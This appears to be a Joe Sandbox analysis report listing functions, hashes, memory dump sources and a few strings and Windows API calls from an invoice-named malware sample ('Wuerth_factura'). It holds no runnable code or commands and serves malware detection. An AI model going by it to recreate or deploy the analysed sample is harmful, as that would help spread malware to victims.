Opcode ID: 0087fb9d20b2a2835e9373240847799b38f44f60e9d6cd55558790dd5cd0c35d
Instruction ID: 0b11e24fec76f028aa3ae218253712223b27971cd87bfdcd405b609c04e36a04
Opcode Fuzzy Hash: 0087fb9d20b2a2835e9373240847799b38f44f60e9d6cd55558790dd5cd0c35d
Instruction Fuzzy Hash: AD416BB1E016188BEB58CF67C94479EFAF3AFC9300F14C1A9D50CA6254DB750A85CF51

Function 3A68D710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3298e746021f3625af9cfc9b920c70020327e44ab1783f2feab28bda5e826a6
Instruction ID: a7b2a0f468a3f28518911847e16c74184fb54ac4bbe5d081ee8d8e1a47b0fb74
Opcode Fuzzy Hash: d3298e746021f3625af9cfc9b920c70020327e44ab1783f2feab28bda5e826a6
Instruction Fuzzy Hash: E1825BB4E012288FDB64DF69CD94B9DBBB6BF89300F1481EA940DA7265DB345E81CF41

Function 39DB9328 Relevance: .5, Instructions: 528COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2aa2b3353ec48e6fc5f1644831011b390bcd7329fb4116fda00ef2f7b9bcb5a
Instruction ID: aa7bdd84d3aa84ab5b0141addb3ebf8fd55edf360451657d2e71381233a21982
Opcode Fuzzy Hash: e2aa2b3353ec48e6fc5f1644831011b390bcd7329fb4116fda00ef2f7b9bcb5a
Instruction Fuzzy Hash: 35223974E00258CFDB14DFA9C981B9DBBB2BF88304F5085A9D40AAB395DB359D85CF90

Function 3A5F7B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 822da4185eb5471c2ea33e9d742f5bc13522164e73b793a7958d6b2838187868
Instruction ID: 73bd88c84bb0643f66caa043cfacdda9b7c63ede7798af3149fde189cb78fbe9
Opcode Fuzzy Hash: 822da4185eb5471c2ea33e9d742f5bc13522164e73b793a7958d6b2838187868
Instruction Fuzzy Hash: 2DE1B0B4E01218CFEB54CFA5D944B9DBBB2BF89304F2081AAD409BB395DB355A85CF50

Function 3A666678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2832cc3a4e4fa6f282582f40b4ad5925a76b633d0ff6c307652df9924e34bde
Instruction ID: d959a61452197e85e64c602ff9fa1c6602cf737f39deaf1a898375e30c0a24c4
Opcode Fuzzy Hash: d2832cc3a4e4fa6f282582f40b4ad5925a76b633d0ff6c307652df9924e34bde
Instruction Fuzzy Hash: 28D1A278E01218CFDB54DFA9C954B9DBBB2BF89300F2081A9D409AB365DB359E85CF50

Function 3A669FD8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db567b51af74dad0e8b8fb74f5c2ff9f1706113362fb582e78264d7cab04a4f4
Instruction ID: d428a0759762b03dc6d8e2fe3d374259b6b50c55adce29622f54172ddae0fb5a
Opcode Fuzzy Hash: db567b51af74dad0e8b8fb74f5c2ff9f1706113362fb582e78264d7cab04a4f4
Instruction Fuzzy Hash: A9D1A174E01218CFDB54DFA9C994B9DBBB2BF89300F1081A9D409AB3A5DB359E85CF50

Function 3A691CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7081ce19fe6e3cb59f7b71c87ca0d77c7897470a65482a1ab81822f341eedee
Instruction ID: b8c37777f3d345df96844cdc9d0263cb060c8edc439a86714779802aa669850c
Opcode Fuzzy Hash: b7081ce19fe6e3cb59f7b71c87ca0d77c7897470a65482a1ab81822f341eedee
Instruction Fuzzy Hash: B8D19F74E01218CFDB54DFA9C994B9DBBB2BF89300F2081A9D409AB365DB359E85CF50

Function 39DB2968 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f019f567f466a3850955acd45c008b30c3d2302f640a571a417fa283262c4724
Instruction ID: c9dc8206cc73d8de8a0db864d84fd2e0766622b764f9b7dfe7eda1526f3edeaa
Opcode Fuzzy Hash: f019f567f466a3850955acd45c008b30c3d2302f640a571a417fa283262c4724
Instruction Fuzzy Hash: 7DC1B074E01218CFDB14DFA5C994B9DBBB2BF89301F2080A9D809AB365DB359E85CF50

Function 3A5F4ED0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300827066.000000003A5F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A5F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a5f0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32bd28f5847c4faa78931bba82a6d3048b403ed4ab5ecbdc4788ca72ce1f8bbe
Instruction ID: 5be82b3e3f748dd4ab51f9185dea6adea816f5062694b49e32cd7f7947d9dabb
Opcode Fuzzy Hash: 32bd28f5847c4faa78931bba82a6d3048b403ed4ab5ecbdc4788ca72ce1f8bbe
Instruction Fuzzy Hash: FDC1B074E01218CFDB14DFA5D994B9DBBB2BF89300F2081A9D809AB365DB359E85CF50

Function 3A813E60 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3301103776.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81cf53f4f339ce82cb69c66ef3a35f5bac856fd0966ff88d348b819ed6481f82
Instruction ID: eacce339f1ebc5916cd308fa0805cf23eff5f30168283da6211313591cb21aac
Opcode Fuzzy Hash: 81cf53f4f339ce82cb69c66ef3a35f5bac856fd0966ff88d348b819ed6481f82
Instruction Fuzzy Hash: 949125B5915609DFEB10AFE0CA597EEBBB2BB46302F00546AD101772E1CB784A85CF94

Function 3A813E70 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3301103776.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17dcee6f8b7090d354c902ab3cfa0c67d9e482298bae26e0abc3adfab5998548
Instruction ID: 723b83a851628f0e5cc1fac59efe98a8f0f47ac23c596ef7887ff769d4c894de
Opcode Fuzzy Hash: 17dcee6f8b7090d354c902ab3cfa0c67d9e482298bae26e0abc3adfab5998548
Instruction Fuzzy Hash: 629134B5915609DFEB14AFE0CA597EEBBB2FB46302F00542AD101772E1CB784A85CF94

Function 39DB2DB8 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b1fbdc2172c6d8db09b387e6fa60680659bbb751bd1cc266badae5668b8d50c
Instruction ID: aa786c416e4d73f36f7e9002313ba22aa99e37d97864b8aa05615080ca7c2ec7
Opcode Fuzzy Hash: 0b1fbdc2172c6d8db09b387e6fa60680659bbb751bd1cc266badae5668b8d50c
Instruction Fuzzy Hash: 6DA11474D00208CFDB14DFA9C984BDDBBB1FF88304F208269E509AB2A6DB759985CF54

Function 39DB2DC8 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97f52ef274202784936d04c1dc8f0aa2d06ed0f17775787f2623aa0353a8ad9f
Instruction ID: 598536c736a4737ef284f07d3fb1b559e003d30e590372405b6c498fd74a9160
Opcode Fuzzy Hash: 97f52ef274202784936d04c1dc8f0aa2d06ed0f17775787f2623aa0353a8ad9f
Instruction Fuzzy Hash: 25A10374D002088FDB14DFA9C944BDDBBB1FF88314F608269E509BB2A2DB759985CF54

Function 39DB1E80 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4495c935fc0f72b6c791c740c897ea52c3075ca83e5babe440ba6e8505cb647b
Instruction ID: 4f366fda9796cfad9dcbec7d4a4c301fed8864ae49b3781ad0837f09a3576c0c
Opcode Fuzzy Hash: 4495c935fc0f72b6c791c740c897ea52c3075ca83e5babe440ba6e8505cb647b
Instruction Fuzzy Hash: 40A193B5D01218CFEB68CF6AC944BDEFBF2AB98300F14C1A9D509A7254DB345A85CF51

Function 39DB17A0 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6bf1e103493b53cec93d25be6e92ec0f6b574cf536cb38d7eea2a1da5bf900a
Instruction ID: 054f1a6611554c51531b817f59b4f9d7e23132e845a3a6e48bdc51c419476654
Opcode Fuzzy Hash: a6bf1e103493b53cec93d25be6e92ec0f6b574cf536cb38d7eea2a1da5bf900a
Instruction Fuzzy Hash: E6A181B5E012298FEB64CF6AC944B9EFBF2AB89300F14C1A9D409A7254DB345A85CF51

Function 39DB310E Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c17f00427361e421b86f99674f9c8081aa69b9e350a94cf4b95d5131ac1a2262
Instruction ID: 401882accaa342916118fdef6dd38890a7d29693787980bb0205e031c6029f6f
Opcode Fuzzy Hash: c17f00427361e421b86f99674f9c8081aa69b9e350a94cf4b95d5131ac1a2262
Instruction Fuzzy Hash: AF910174901208CFEB10DFA9C984BDDBBB1FF49310F209269E409BB6A2DB759985CF50

Function 39DBFC68 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a51b89eccd6e1079d424bd6b0275c175d05f2cdfd8741979598c1dc8ff152b7
Instruction ID: da2d7d7eab3d6030ac9c8d6d8d4b8c0c397dfa4ac77ad2e89abcbe3fca9cecc5
Opcode Fuzzy Hash: 2a51b89eccd6e1079d424bd6b0275c175d05f2cdfd8741979598c1dc8ff152b7
Instruction Fuzzy Hash: 7181B174E00218CFDB04DFE9C981AADBBB2BF89300F608169D805BB369DB359946CF50

Function 3A6870C0 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b821e98e7619e7bd1ee669eb55498ed488c944b75340c5e53c771eabaf071b96
Instruction ID: 102576a1941f73433bc2f660c734d26623476b56dbfc3567cab2048dbd3e2ffa
Opcode Fuzzy Hash: b821e98e7619e7bd1ee669eb55498ed488c944b75340c5e53c771eabaf071b96
Instruction Fuzzy Hash: 8281B0B4E00218CFDB15DFE9C980A9DBBB6BF89300F208169D805BB369DB359946DF50

Function 3A698470 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f486e58234528ab24305d135dca082e1c193a88a59d8a9f1cc2ef7c838d5560
Instruction ID: d2c9da41420718496ccf9141bc01df0efb0b3712ef78a1e5b91f2a230feae1e1
Opcode Fuzzy Hash: 5f486e58234528ab24305d135dca082e1c193a88a59d8a9f1cc2ef7c838d5560
Instruction Fuzzy Hash: F681BF74E002188FDB15DFE9C990ADDBBB2BF88300F208169D815AB3A9DB359946CF50

Function 3A69FB30 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c20ad925f07e51c4ba0bb5a4fae9c9d31e25a88cec24bceb8fe2d3ec18fec0e
Instruction ID: 3ec6c6a64c6df4d4610745597c8696ad0b437f457292dd4903161daf341e85aa
Opcode Fuzzy Hash: 4c20ad925f07e51c4ba0bb5a4fae9c9d31e25a88cec24bceb8fe2d3ec18fec0e
Instruction Fuzzy Hash: D281AF74E002189FDB14DFE9C990ADEBBB6BF88300F208169D815AB369DB359946CF50

Function 39DB178F Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 836971eb05e97f628e9d93e9e86f4099364be86fe661b9c078332f8eddb188d7
Instruction ID: 931dcf0abfc92856c5495c8c9fc39b5bb0f7bef56aed47d3a01b0e259b05902e
Opcode Fuzzy Hash: 836971eb05e97f628e9d93e9e86f4099364be86fe661b9c078332f8eddb188d7
Instruction Fuzzy Hash: CD7194B5D016188FEB68CF6AC944B9EBBF2BF88300F14C1A9D409A7254DB745A85CF50

Function 000DE97A Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb64f718b46a4b3e9a6c9dc3581e5579a8497c9c9d327f020d6ed9a3d4015a2d
Instruction ID: 67f0be1ac4469de961537b2cb702c92f79a269865ae13b878db1254756ee1c86
Opcode Fuzzy Hash: eb64f718b46a4b3e9a6c9dc3581e5579a8497c9c9d327f020d6ed9a3d4015a2d
Instruction Fuzzy Hash: A651D674E00348DFDB18DFAAD594A9DFBB2BF89300F24802AE815AB365DB355945CF14

Function 000DE988 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 976ced20a9789b73fdaf2e0b6c24ec98aeb0545a01ce305d8a06aeab89780fa5
Instruction ID: eb636ac24d4f1a0094991717c052d5705c8eea5756b33147c2198ac0f6883d1d
Opcode Fuzzy Hash: 976ced20a9789b73fdaf2e0b6c24ec98aeb0545a01ce305d8a06aeab89780fa5
Instruction Fuzzy Hash: A851A474E00308DFDB18DFAAD594A9EFBB6BF89300F24812AE815AB365DB345945CF14

Function 3A665FC7 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06c35dc801d872bf8edb00eafaf4e802aaa5abbfd4171808079c2e2243e85277
Instruction ID: 4b926983f2d18a54a2538a80234ae1e5c77ffc53d03f2cde200b12d20dfcc1fa
Opcode Fuzzy Hash: 06c35dc801d872bf8edb00eafaf4e802aaa5abbfd4171808079c2e2243e85277
Instruction Fuzzy Hash: F041E3B4D012088BEB18CFAAD9547DDFBF2AF89304F14C16AC419BB2A5DB354946CF54

Function 3A66663E Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97d904701550874bbd878401372af6e2751a5a1d75866ec1dc7d18e29d40ac10
Instruction ID: a9164c949b58f01b5b5d84ae33c3eb68d1148b6d5584cf16b171452736c0aa02
Opcode Fuzzy Hash: 97d904701550874bbd878401372af6e2751a5a1d75866ec1dc7d18e29d40ac10
Instruction Fuzzy Hash: 3A415674E006488BDB19CFAAD9506DEFBF2BF89304F50D06AC018AB265EB385942CF50

Function 3A669FC8 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8644655fc39500c537fd3e744ff17eae1e1d1f1ce029b47f400512b8fa3acd41
Instruction ID: 8785e67e9786091546446f65e18a8e62e4e516486518266af487a7ad57f06427
Opcode Fuzzy Hash: 8644655fc39500c537fd3e744ff17eae1e1d1f1ce029b47f400512b8fa3acd41
Instruction Fuzzy Hash: 1841E074E012188BDB58CFAAD9446DDBBF2BF89304F20D069C418BB265EB355946CF50

Function 3A691CE0 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300969880.000000003A690000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A690000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a690000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d2d2e16cfc132b8224397a67ec915e8452b91b8414bc69f166b7a266393a56
Instruction ID: 4c1ef2bad867ae45f1c1355ad6d2e870f3ae2a81fe4865a50676d106b985830c
Opcode Fuzzy Hash: 76d2d2e16cfc132b8224397a67ec915e8452b91b8414bc69f166b7a266393a56
Instruction Fuzzy Hash: EB411274E012088BDB58CFAAD9546DEBBF2BF89300F20D06AD419BB264EB345942CF50

Function 000D76F1 Relevance: 10.5, Strings: 8, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ojq, xrefs: 000D7BFF
(ojq, xrefs: 000D772E
(ojq, xrefs: 000D77E9
(ojq, xrefs: 000D78B2
,nq, xrefs: 000D7BA0
(ojq, xrefs: 000D7C0F
(ojq, xrefs: 000D7815
,nq, xrefs: 000D7B90

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: (ojq$(ojq$(ojq$(ojq$(ojq$(ojq$,nq$,nq
API String ID: 0-912422979
Opcode ID: 7876d62dc65f064d396a50c27f0a5a415a421d90c06989efb28a150d00134cbb
Instruction ID: 7788262334eed9924ff79c69f6cb7e086b931151363126624b3b2e37ee001df3
Opcode Fuzzy Hash: 7876d62dc65f064d396a50c27f0a5a415a421d90c06989efb28a150d00134cbb
Instruction Fuzzy Hash: CE125B30A043498FCB55CF68D984A9EBBF6FF89314F14859AE8499B361E730ED41CB60

Function 3A8196EB Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 143
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3A819776
GetCurrentThread.KERNEL32 ref: 3A8197B3
GetCurrentProcess.KERNEL32 ref: 3A8197F0
GetCurrentThreadId.KERNEL32 ref: 3A819849

Strings

)?C|, xrefs: 3A819714

Memory Dump Source

Source File: 00000004.00000002.3301103776.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Current$ProcessThread
String ID: )?C|
API String ID: 2063062207-1370406100
Opcode ID: bb48c787b8c8b2d5a7c0671bd01dfb7cdb46057a4efa8a473dbac9edb3cf6941
Instruction ID: e9fb10783c4d101fe295fa8e4804bcaa7d43a547892d163109367b5e8cc9b8d7
Opcode Fuzzy Hash: bb48c787b8c8b2d5a7c0671bd01dfb7cdb46057a4efa8a473dbac9edb3cf6941
Instruction Fuzzy Hash: 065188B49002498FDB04DFAAD584BEEBBF5FF49310F208459E409A7361CB396946CF61

Function 3A8196F8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 3A819776
GetCurrentThread.KERNEL32 ref: 3A8197B3
GetCurrentProcess.KERNEL32 ref: 3A8197F0
GetCurrentThreadId.KERNEL32 ref: 3A819849

Strings

)?C|, xrefs: 3A819714

Memory Dump Source

Source File: 00000004.00000002.3301103776.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Current$ProcessThread
String ID: )?C|
API String ID: 2063062207-1370406100
Opcode ID: 7f0f60e9073235fdb2a8c53f7d3fd95cf4de16051d7d67d52dde49f8386ffb63
Instruction ID: 9796417d8b37cf8475bfbbba6158d6aa7bc24622ee2adbeeaddac99b0af99e16
Opcode Fuzzy Hash: 7f0f60e9073235fdb2a8c53f7d3fd95cf4de16051d7d67d52dde49f8386ffb63
Instruction Fuzzy Hash: 1D5146B49002498FDB04DFAAD588BDEBBF5EF48310F208459E419B7360DB39A945CF65

Function 39DB3A50 Relevance: 7.7, Strings: 6, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

x4d9, xrefs: 39DB3C39
Hnq, xrefs: 39DB3CBB
x4d9, xrefs: 39DB3BD3
Hnq, xrefs: 39DB3CEE
Hnq, xrefs: 39DB3D21
, xrefs: 39DB3B4D

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: $Hnq$Hnq$Hnq$x4d9$x4d9
API String ID: 0-649872828
Opcode ID: 85e8a539b684d862c04d3a0f02d13f5b138d98973a8727eea0ce8c9940f53dc8
Instruction ID: 89945f59cb773e1aa01c6e4baa11b2ef1f0c8e1758e69a040068be1b02125ea1
Opcode Fuzzy Hash: 85e8a539b684d862c04d3a0f02d13f5b138d98973a8727eea0ce8c9940f53dc8
Instruction Fuzzy Hash: 328111347013449BDF15AFB8C86626E7AA2EFC5360F204229F8139BBD1CE718D42DB91

Function 000D0CA0 Relevance: 6.8, Strings: 5, Instructions: 539
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

|(@7, xrefs: 000D1799
LRjq, xrefs: 000D0F19
!@7, xrefs: 000D0FE4
!@7, xrefs: 000D0FEA
4zA7| @7, xrefs: 000D0F51

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 4zA7| @7$LRjq$|(@7$!@7$!@7
API String ID: 0-3271305239
Opcode ID: 47df45eb625af0e20893399333869f0a6a6a55888a07a1c1fe85362c0b643d1c
Instruction ID: 97ef4cce663f7860aedf1eb84358cff4e82c80efc6a6b89997a1c0c19e9198b0
Opcode Fuzzy Hash: 47df45eb625af0e20893399333869f0a6a6a55888a07a1c1fe85362c0b643d1c
Instruction Fuzzy Hash: 0452D8B4A00619CFCB55DF74DE94A9EBBB2FB88301F1085A6D409A7765DB306E86CF40

Function 39DB3FE8 Relevance: 6.6, Strings: 5, Instructions: 385
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8oq, xrefs: 39DB4429
Hnq, xrefs: 39DB4036
Hnq, xrefs: 39DB4231
TJoq, xrefs: 39DB4462
Hnq, xrefs: 39DB41D2

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: 8oq$Hnq$Hnq$Hnq$TJoq
API String ID: 0-210889799
Opcode ID: 03f44fb6c392ac2f743ffb41fef949640364e09fe75aa2c66d614e8fbbabad63
Instruction ID: 2b7dee916c990ba0f5f48e368723a34308fae3a8aeecc1fd5d1e7e319dbb05bd
Opcode Fuzzy Hash: 03f44fb6c392ac2f743ffb41fef949640364e09fe75aa2c66d614e8fbbabad63
Instruction Fuzzy Hash: 55D10634B042448FDB04DB68C592AAE7BF6EF89360F24416AE506DF7A1CA31DD46CB91

Function 3A904284 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3A9043A2

Strings

)?C|, xrefs: 3A9042BE
)?C|, xrefs: 3A9042DE

Memory Dump Source

Source File: 00000004.00000002.3301181193.000000003A900000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a900000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: CreateWindow
String ID: )?C|$)?C|
API String ID: 716092398-3642632661
Opcode ID: e0b0ea3a342c6b952b79ea00ff1676160c636cabd475091b4dd0aef32c7a09b6
Instruction ID: 64d72976f1c1109d929cf0079e691c1cd2a5cbd59b8ff2b2eb8ccb072ebd38a4
Opcode Fuzzy Hash: e0b0ea3a342c6b952b79ea00ff1676160c636cabd475091b4dd0aef32c7a09b6
